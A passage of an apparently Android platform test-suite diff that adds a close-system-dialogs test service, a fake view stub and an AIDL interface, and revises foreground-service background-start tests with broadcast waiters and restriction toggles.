+ }
+ }
+ };
+ mContext.registerReceiver(mNotificationReceiver, new IntentFilter(NOTIFICATION_ACTION));
+ Intent intent = new Intent(NOTIFICATION_ACTION);
+ intent.setPackage(mContext.getPackageName());
+ CloseSystemDialogsTestService.this.notify(
+ notificationId,
+ PendingIntent.getBroadcast(mContext, 0, intent, FLAG_IMMUTABLE));
+ }
+
+ @Override
+ public void closeSystemDialogsViaWindowManager(String reason) throws RemoteException {
+ mWindowManager.closeSystemDialogs(reason);
+ }
+
+ @Override
+ public void closeSystemDialogsViaActivityManager(String reason) throws RemoteException {
+ mActivityManager.closeSystemDialogs(reason);
+ }
+ }
+
+ private void notify(int notificationId, PendingIntent intent) {
+ Notification notification =
+ new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(android.R.drawable.ic_info)
+ .setContentIntent(intent)
+ .build();
+ NotificationChannel notificationChannel = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
+ NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_DEFAULT);
+ mNotificationManager.createNotificationChannel(notificationChannel);
+ mNotificationManager.notify(notificationId, notification);
+ }
+}
diff --git a/tests/app/shared/src/android/app/stubs/shared/FakeView.java b/tests/app/shared/src/android/app/stubs/shared/FakeView.java
new file mode 100644
index 0000000..5910254
--- /dev/null
+++ b/tests/app/shared/src/android/app/stubs/shared/FakeView.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs.shared;
+
+import android.content.Context;
+import android.view.View;
+
+import java.util.concurrent.ArrayBlockingQueue;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class FakeView extends View {
+ private final BlockingQueue<String> mCalls = new ArrayBlockingQueue<>(3);
+
+ public FakeView(Context context) {
+ super(context);
+ }
+
+ @Override
+ public void onCloseSystemDialogs(String reason) {
+ mCalls.add(reason);
+ }
+
+ public String getNextCloseSystemDialogsCallReason(long timeoutMs) throws InterruptedException {
+ return mCalls.poll(timeoutMs, TimeUnit.MILLISECONDS);
+ }
+}
diff --git a/tests/app/shared/src/android/app/stubs/shared/ICloseSystemDialogsTestsService.aidl b/tests/app/shared/src/android/app/stubs/shared/ICloseSystemDialogsTestsService.aidl
new file mode 100644
index 0000000..649b2cb
--- /dev/null
+++ b/tests/app/shared/src/android/app/stubs/shared/ICloseSystemDialogsTestsService.aidl
@@ -0,0 +1,37 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs.shared;
+
+import android.os.ResultReceiver;
+
+interface ICloseSystemDialogsTestsService {
+ void sendCloseSystemDialogsBroadcast();
+ void closeSystemDialogsViaWindowManager(String reason);
+ void closeSystemDialogsViaActivityManager(String reason);
+
+ const int RESULT_OK = 0;
+ const int RESULT_SECURITY_EXCEPTION = 1;
+
+ /**
+ * Posts a notification with id {@code notificationId} with a broadcast pending intent, then in
+ * that pending intent sends {@link android.content.Intent#ACTION_CLOSE_SYSTEM_DIALOGS}.
+ *
+ * The caller is responsible for trigerring the notification. The passed in {@code receiver}
+ * will be called once the intent has been sent.
+ */
+ void postNotification(int notificationId, in ResultReceiver receiver);
+}
diff --git a/tests/app/src/android/app/cts/ActivityManagerApi29Test.java b/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
index 28611c5..0cbe497 100644
--- a/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
+++ b/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
@@ -53,6 +53,7 @@
import org.junit.After;
import org.junit.Before;
+import org.junit.Ignore;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -70,7 +71,6 @@
* when the process is in background state.
*/
@RunWith(AndroidJUnit4.class)
-//@Suppress
public class ActivityManagerApi29Test {
private static final String PACKAGE_NAME = "android.app.cts.activitymanager.api29";
private static final String SIMPLE_ACTIVITY = ".SimpleActivity";
@@ -174,6 +174,8 @@
* @throws Exception
*/
@Test
+ @Ignore("because ag/13230961, FGS started in instrumentation are not subject to while-in-use "
+ + "restriction")
public void testTopActivityWithAppOps() throws Exception {
startSimpleActivity();
mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP,
@@ -200,6 +202,8 @@
* @throws Exception
*/
@Test
+ @Ignore("because ag/13230961, FGS started in instrumentation are not subject to while-in-use "
+ + "restriction")
public void testFgsLocationWithAppOps() throws Exception {
// Start a foreground service with location
startSimpleService();
@@ -238,6 +242,8 @@
* @throws Exception
*/
@Test
+ @Ignore("because ag/13230961, FGS started in instrumentation are not subject to while-in-use "
+ + "restriction")
public void testAppOpsHistoricalOps() throws Exception {
runWithShellPermissionIdentity(
() -> sAppOps.setHistoryParameters(AppOpsManager.HISTORICAL_MODE_ENABLED_ACTIVE,
@@ -302,6 +308,8 @@
* @throws Exception
*/
@Test
+ @Ignore("because ag/13230961, FGS started in instrumentation are not subject to while-in-use "
+ + "restriction")
public void testCameraWithAppOps() throws Exception {
startSimpleService();
// Wait for state and capability change.
diff --git a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
index f6fc834..7b2c832 100644
--- a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
@@ -43,6 +43,7 @@
import android.content.pm.ServiceInfo;
import android.os.Bundle;
import android.os.IBinder;
+import android.os.SystemClock;
import android.permission.cts.PermissionUtils;
import android.provider.DeviceConfig;
import android.provider.Settings;
@@ -73,8 +74,6 @@
private static final String KEY_DEFAULT_FGS_STARTS_RESTRICTION_ENABLED =
"default_fgs_starts_restriction_enabled";
- private static final String KEY_DEFAULT_FGS_STARTS_TEMP_ALLOWLIST_ENABLED =
- "default_fgs_starts_temp_allowlist_enabled";
private static final int WAITFOR_MSEC = 10000;
@@ -102,7 +101,7 @@
}
CtsAppTestUtils.turnScreenOn(mInstrumentation, mContext);
cleanupResiduals();
- enableFgsRestriction(false, true, null);
+ enableFgsRestriction(true, true, null);
}
@After
@@ -112,7 +111,7 @@
allowBgActivityStart(PACKAGE_NAMES[i], true);
}
cleanupResiduals();
- enableFgsRestriction(false, true, null);
+ enableFgsRestriction(true, true, null);
}
private void cleanupResiduals() {
@@ -142,11 +141,14 @@
WAITFOR_MSEC);
try {
+ WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+ waiter.prepare(ACTION_START_FGSL_RESULT);
// APP1 is in BG state, Start FGSL in APP1, it won't get location capability.
Bundle bundle = new Bundle();
bundle.putInt(LocalForegroundServiceLocation.EXTRA_FOREGROUND_SERVICE_TYPE,
ServiceInfo.FOREGROUND_SERVICE_TYPE_LOCATION);
// start FGSL.
+ enableFgsRestriction(false, true, null);
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_LOCATION,
PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, bundle);
@@ -154,6 +156,7 @@
uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
WatchUidRunner.STATE_FG_SERVICE,
new Integer(PROCESS_CAPABILITY_NONE));
+ waiter.doWait(WAITFOR_MSEC);
// stop FGSL
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
@@ -162,6 +165,8 @@
WatchUidRunner.STATE_CACHED_EMPTY,
new Integer(PROCESS_CAPABILITY_NONE));
+ waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+ waiter.prepare(ACTION_START_FGS_RESULT);
// APP1 is in FGS state, start FGSL in APP1, it won't get location capability.
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
@@ -174,6 +179,7 @@
uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
WatchUidRunner.STATE_FG_SERVICE,
new Integer(PROCESS_CAPABILITY_NONE));
+ waiter.doWait(WAITFOR_MSEC);
// stop FGSL.
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
@@ -228,6 +234,7 @@
ServiceInfo.FOREGROUND_SERVICE_TYPE_LOCATION);
WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
waiter.prepare(ACTION_START_FGSL_RESULT);
+ enableFgsRestriction(false, true, null);
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_LOCATION,
PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, bundle);
@@ -253,6 +260,8 @@
WatchUidRunner.STATE_TOP,
new Integer(PROCESS_CAPABILITY_ALL));
+ waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+ waiter.prepare(ACTION_START_FGSL_RESULT);
// From APP1, start FGSL in APP2.
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_LOCATION,
@@ -261,6 +270,7 @@
uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
WatchUidRunner.STATE_FG_SERVICE,
new Integer(PROCESS_CAPABILITY_ALL));
+ waiter.doWait(WAITFOR_MSEC);
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
@@ -302,7 +312,10 @@
WAITFOR_MSEC);
try {
+ WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+ waiter.prepare(ACTION_START_FGSL_RESULT);
// APP1 is in BG state, start FGSL in APP2.
+ enableFgsRestriction(false, true, null);
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_CREATE_FGSL_PENDING_INTENT,
PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
@@ -313,6 +326,7 @@
uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
WatchUidRunner.STATE_FG_SERVICE,
new Integer(PROCESS_CAPABILITY_NONE));
+ waiter.doWait(WAITFOR_MSEC);
// Stop FGSL in APP2.
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
@@ -321,6 +335,8 @@
WatchUidRunner.STATE_CACHED_EMPTY,
new Integer(PROCESS_CAPABILITY_NONE));
+ waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+ waiter.prepare(ACTION_START_FGS_RESULT);
// Put APP1 in FGS state, start FGSL in APP2.
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
@@ -328,11 +344,12 @@
uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
WatchUidRunner.STATE_FG_SERVICE,
new Integer(PROCESS_CAPABILITY_NONE));
+ waiter.doWait(WAITFOR_MSEC);
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_CREATE_FGSL_PENDING_INTENT,
PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
- WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+ waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
waiter.prepare(ACTION_START_FGSL_RESULT);
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_SEND_FGSL_PENDING_INTENT,
@@ -410,7 +427,10 @@
WAITFOR_MSEC);
try {
+ WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+ waiter.prepare(ACTION_START_FGSL_RESULT);
// APP1 is in BG state, bind FGSL in APP1 first.
+ enableFgsRestriction(false, true, null);
CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_FOREGROUND_SERVICE,
PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
Bundle bundle = new Bundle();
@@ -425,6 +445,7 @@
uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
WatchUidRunner.STATE_FG_SERVICE,
new Integer(PROCESS_CAPABILITY_NONE));
+ waiter.doWait(WAITFOR_MSEC);
// unbind service.
CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
@@ -466,7 +487,10 @@
WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
WAITFOR_MSEC);
try {
+ WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+ waiter.prepare(ACTION_START_FGS_RESULT);
// disable the FGS background startForeground() restriction.
+ enableFgsRestriction(false, true, null);
enableFgsRestriction(false, useDeviceConfig, PACKAGE_NAME_APP1);
// APP1 is in BG state, Start FGS in APP1.
CommandReceiver.sendCommand(mContext,
@@ -474,6 +498,7 @@
PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
// APP1 is in STATE_FG_SERVICE.
uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+ waiter.doWait(WAITFOR_MSEC);
// stop FGS.
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
@@ -482,14 +507,17 @@
// Enable the FGS background startForeground() restriction.
allowBgActivityStart(PACKAGE_NAME_APP1, false);
+ enableFgsRestriction(true, true, null);
enableFgsRestriction(true, useDeviceConfig, PACKAGE_NAME_APP1);
// Start FGS in BG state.
+ waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+ waiter.prepare(ACTION_START_FGS_RESULT);
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
// APP1 does not enter FGS state
try {
- uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+ waiter.doWait(WAITFOR_MSEC);
fail("Service should not enter foreground service state");
} catch (Exception e) {
}
@@ -501,6 +529,9 @@
PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP);
allowBgActivityStart(PACKAGE_NAME_APP1, false);
+
+ waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+ waiter.prepare(ACTION_START_FGS_RESULT);
// Now it can start FGS.
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
@@ -511,6 +542,7 @@
PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
// FGS is still running.
uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+ waiter.doWait(WAITFOR_MSEC);
// Stop the FGS.
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
@@ -518,7 +550,6 @@
uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
} finally {
uid1Watcher.finish();
- enableFgsRestriction(false, useDeviceConfig, PACKAGE_NAME_APP1);
}
}
@@ -557,11 +588,14 @@
PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_BOUND_TOP);
+ WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+ waiter.prepare(ACTION_START_FGS_RESULT);
// APP2 can start FGS in APP3.
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+ waiter.doWait(WAITFOR_MSEC);
// Stop activity.
CommandReceiver.sendCommand(mContext,
@@ -582,7 +616,6 @@
uid1Watcher.finish();
uid2Watcher.finish();
uid3Watcher.finish();
- enableFgsRestriction(false, true, null);
}
}
@@ -615,17 +648,23 @@
PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP);
+ WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+ waiter.prepare(ACTION_START_FGS_RESULT);
// APP1 can start FGS in APP2, APP2 gets FOREGROUND_SERVICE state.
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+ waiter.doWait(WAITFOR_MSEC);
+ waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+ waiter.prepare(ACTION_START_FGS_RESULT);
// APP2 can start FGS in APP3.
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+ waiter.doWait(WAITFOR_MSEC);
// Stop activity in APP1.
CommandReceiver.sendCommand(mContext,
@@ -646,7 +685,6 @@
uid1Watcher.finish();
uid2Watcher.finish();
uid3Watcher.finish();
- enableFgsRestriction(false, true, null);
}
}
@@ -663,15 +701,19 @@
WAITFOR_MSEC);
try {
+ WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+ waiter.prepare(ACTION_START_FGSL_RESULT);
// APP1 is in BG state, bind FGSL in APP1 first.
CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_FOREGROUND_SERVICE,
PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
// Then start FGSL in APP1
+ enableFgsRestriction(false, true, null);
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_LOCATION,
PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
// APP1 is in FGS state
uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+ waiter.doWait(WAITFOR_MSEC);
// stop FGS
CommandReceiver.sendCommand(mContext,
@@ -683,7 +725,6 @@
uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
} finally {
uid1Watcher.finish();
- enableFgsRestriction(false, true, null);
}
}
@@ -704,13 +745,15 @@
// APP1 is in BG state, bind FGSL in APP1 first.
CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_FOREGROUND_SERVICE,
PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
- // Then start FGSL in APP1
+ // Then start FGS in APP1
+ WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+ waiter.prepare(ACTION_START_FGS_RESULT);
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
// APP1 does not enter FGS state
try {
- uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+ waiter.doWait(WAITFOR_MSEC);
fail("Service should not enter foreground service state");
} catch (Exception e) {
}
@@ -725,7 +768,6 @@
uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
} finally {
uid1Watcher.finish();
- enableFgsRestriction(false, true, null);
}
}
@@ -749,6 +791,17 @@
testFgsBindingFlag(Context.BIND_ALLOW_FOREGROUND_SERVICE_STARTS_FROM_BACKGROUND);
}
+ /**
+ * Test no binding flag.
+ * Shell has START_FOREGROUND_SERVICES_FROM_BACKGROUND permission, without any bind flag,
+ * the BG-FGS-launch ability can be passed to APP2 by service binding, then APP2 can start
+ * APP3 FGS from background.
+ */
+ @Test
+ public void testFgsBindingFlagNone() throws Exception {
+ testFgsBindingFlag(0);
+ }
+
private void testFgsBindingFlag(int bindingFlag) throws Exception {
ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
PACKAGE_NAME_APP1, 0);
@@ -771,6 +824,7 @@
final Intent intent = new Intent().setClassName(
PACKAGE_NAME_APP2, "android.app.stubs.LocalService");
+ /*
final ServiceConnection connection = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
@@ -785,11 +839,13 @@
});
// APP2 can not start FGS in APP3.
+ WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+ waiter.prepare(ACTION_START_FGS_RESULT);
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
try {
- uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+ waiter.doWait(WAITFOR_MSEC);
fail("Service should not enter foreground service state");
} catch (Exception e) {
}
@@ -797,6 +853,7 @@
// testapp unbind service in APP2.
runWithShellPermissionIdentity(() -> mTargetContext.unbindService(connection));
uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+ */
// testapp is in background.
// testapp binds to service in APP2 using the binding flag.
@@ -813,12 +870,15 @@
Context.BIND_AUTO_CREATE | Context.BIND_WAIVE_PRIORITY
| bindingFlag));
+ WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+ waiter.prepare(ACTION_START_FGS_RESULT);
// Because the binding flag,
// APP2 can start FGS from background.
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+ waiter.doWait(WAITFOR_MSEC);
// testapp unbind service in APP2.
runWithShellPermissionIdentity(() -> mTargetContext.unbindService(connection2));
@@ -832,7 +892,6 @@
uid1Watcher.finish();
uid2Watcher.finish();
uid3Watcher.finish();
- enableFgsRestriction(false, true, null);
}
}
@@ -849,23 +908,28 @@
// Enable the FGS background startForeground() restriction.
enableFgsRestriction(true, true, null);
// Start FGS in BG state.
+ WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+ waiter.prepare(ACTION_START_FGS_RESULT);
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
// APP1 does not enter FGS state
try {
- uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+ waiter.doWait(WAITFOR_MSEC);
fail("Service should not enter foreground service state");
} catch (Exception e) {
}
PermissionUtils.grantPermission(
PACKAGE_NAME_APP1, android.Manifest.permission.SYSTEM_ALERT_WINDOW);
+ waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+ waiter.prepare(ACTION_START_FGS_RESULT);
// Now it can start FGS.
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+ waiter.doWait(WAITFOR_MSEC);
// Stop the FGS.
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
@@ -873,7 +937,6 @@
uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
} finally {
uid1Watcher.finish();
- enableFgsRestriction(false, true, null);
}
}
@@ -882,7 +945,8 @@
*/
@Test
// Change Settings.Global.DEVICE_DEMO_MODE on device may trigger other listener and put
- // the device in undesired state, ignore this test for now.
+ // the device in undesired state, for example, the battery charge level is set to 35%
+ // permanently, ignore this test for now.
@Ignore
public void testFgsStartRetailDemoMode() throws Exception {
ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
@@ -897,12 +961,14 @@
// Enable the FGS background startForeground() restriction.
enableFgsRestriction(true, true, null);
// Start FGS in BG state.
+ WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+ waiter.prepare(ACTION_START_FGS_RESULT);
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
// APP1 does not enter FGS state
try {
- uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+ waiter.doWait(WAITFOR_MSEC);
fail("Service should not enter foreground service state");
} catch (Exception e) {
}
@@ -910,11 +976,14 @@
runWithShellPermissionIdentity(()-> {
Settings.Global.putInt(mContext.getContentResolver(),
Settings.Global.DEVICE_DEMO_MODE, 1); });
+ waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+ waiter.prepare(ACTION_START_FGS_RESULT);
// Now it can start FGS.
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+ waiter.doWait(WAITFOR_MSEC);
// Stop the FGS.
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
@@ -922,7 +991,6 @@
uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
} finally {
uid1Watcher.finish();
- enableFgsRestriction(false, true, null);
runWithShellPermissionIdentity(()-> {
Settings.Global.putInt(mContext.getContentResolver(),
Settings.Global.DEVICE_DEMO_MODE, mOrigDeviceDemoMode); });
@@ -946,7 +1014,6 @@
expectedException = e;
} finally {
mContext.stopService(intent);
- enableFgsRestriction(false, true, null);
allowBgActivityStart("android.app.stubs", true);
}
String expectedMessage = "mAllowStartForeground false";
@@ -967,26 +1034,29 @@
// Enable the FGS background startForeground() restriction.
enableFgsRestriction(true, true, null);
// Start FGS in BG state.
+ WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+ waiter.prepare(ACTION_START_FGS_RESULT);
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
// APP1 does not enter FGS state
try {
- uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+ waiter.doWait(WAITFOR_MSEC);
fail("Service should not enter foreground service state");
} catch (Exception e) {
}
- // Put APP1 in AllowList.
- enableTempAllowList(true);
// Add package to AllowList.
CtsAppTestUtils.executeShellCmd(mInstrumentation,
"dumpsys deviceidle whitelist +" + PACKAGE_NAME_APP1);
+ waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+ waiter.prepare(ACTION_START_FGS_RESULT);
// Now it can start FGS.
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+ waiter.doWait(WAITFOR_MSEC);
// Stop the FGS.
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
@@ -994,8 +1064,6 @@
uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
} finally {
uid1Watcher.finish();
- enableFgsRestriction(false, true, null);
- enableTempAllowList(false);
// Remove package from AllowList.
CtsAppTestUtils.executeShellCmd(mInstrumentation,
"dumpsys deviceidle whitelist -" + PACKAGE_NAME_APP1);
@@ -1014,24 +1082,31 @@
private void testTempAllowListTypeInternal(int type) throws Exception {
ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
PACKAGE_NAME_APP1, 0);
+ ApplicationInfo app2Info = mContext.getPackageManager().getApplicationInfo(
+ PACKAGE_NAME_APP2, 0);
WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
WAITFOR_MSEC);
+ WatchUidRunner uid2Watcher = new WatchUidRunner(mInstrumentation, app2Info.uid,
+ WAITFOR_MSEC);
try {
// Enable the FGS background startForeground() restriction.
enableFgsRestriction(true, true, null);
- enableTempAllowList(true);
